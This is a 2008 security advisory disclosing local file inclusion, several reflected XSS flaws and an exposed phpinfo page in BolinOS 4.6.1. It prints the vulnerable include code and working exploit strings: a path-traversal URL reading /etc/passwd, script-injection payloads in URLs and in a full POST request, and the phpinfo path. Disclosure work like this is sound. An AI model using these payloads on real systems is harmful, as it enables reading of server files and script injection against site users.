[DSECRG-08-022] Multiple Security Vulnerabilities in Bolinos 4.6.1

2008-03-25T00:00:00
ID SECURITYVULNS:DOC:19503
Type securityvulns
Reporter Securityvulns
Modified 2008-03-25T00:00:00

Description

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-022

Application: BolinOS Versions Affected: 4.6.1 Vendor URL: http://www.bolinos.com Bugs: Local File Include,Multiple XSS, System information disclosure Exploits: YES Reported: 13.03.2008 Second report: 18.03.2008 Vendor response: none Solution: none
Date of Public Advisory: 25.03.2008 Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description


BolinOS system has multiple security vulnerabilities:

  1. Local File Include
  2. Multiple Linked XSS vulnerabilities
  3. Multiple XSS in POST
  4. System information disclosure

Details


  1. Local File Include vulnerability found in system/_b/contentFiles/gbincluder.php

Code


$actionpagetoinclude=$_GET["_bFileToInclude"]; if($actionpagetoinclude!="" && @file_exists(gBRootPath."/$actionpagetoinclude")){ @include(gBRootPath."/$actionpagetoinclude"); }
else{ echo "NO FILE"; }

Example:

http://[server]/[installdir]/system/_b/contentFiles/gbincluder.php?_bFileToInclude=../../../../../../../../../../../../../etc/passwd


  1. Multiple linked XSS vulnerabilities found.

2.1 Linked XSS vulnerability found in page /system/actionspages/_b/contentFiles/gBImageViewer.php

Attacker can inject XSS in GET parameter "url"

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBImageViewer.php?url=<script>alert('DSecRG XSS')</script>

2.2 Linked XSS vulnerability found in page /system/actionspages/_b/contentFiles/gBselectorContents.php

Attacker can inject XSS in GET parameter "ForEditor".

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBselectorContents.php?ForEditor='><IMG%20SRC="javascript:alert('DSecRG XSS')">

2.3 Linked XSS vulnerabilities found in following pages:

/system/actionspages/_b/contentFiles/gBLoginPage.php /system/actionspages/_b/contentFiles/gBPassword.php

Attacker can inject XSS script in URL

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBLoginPage.php/"><script>alert('DSecRG XSS')</script> http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBPassword.php/"><script>alert('DSecRG XSS')</script>


  1. Multiple XSS in POST vulnerabilities, attacker can inject XSS in POST parameter.

3.1 Vulnerability found in script /system/actionspages/_b/contentFiles/gBLoginPage.php

POST parameter "formlogin".

Example:

POST /bolinos/system/actionspages/_b/contentFiles/gBLoginPage.php?bAddress=bolinos.sessions HTTP/1.0 Content-Length: 81 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DS; .NET CLR 2.0.50727)

formlogin=%27><img%20src%3d%22javascript:alert(%27DSecRG%20XSS%27)%22>&BtLogin.x=

3.2 Vulnerability found in page /help/index.php

POST parameter "bolini_searchengine46Search".

Example:

bolini_searchengine46Search = '><IMG SRC=javascript:alert(&quot;DSecRG XSS&quot;)>


  1. System information disclosure

Non-authentication user can access phpinfo() page.

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBphpInfo.php

About


Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)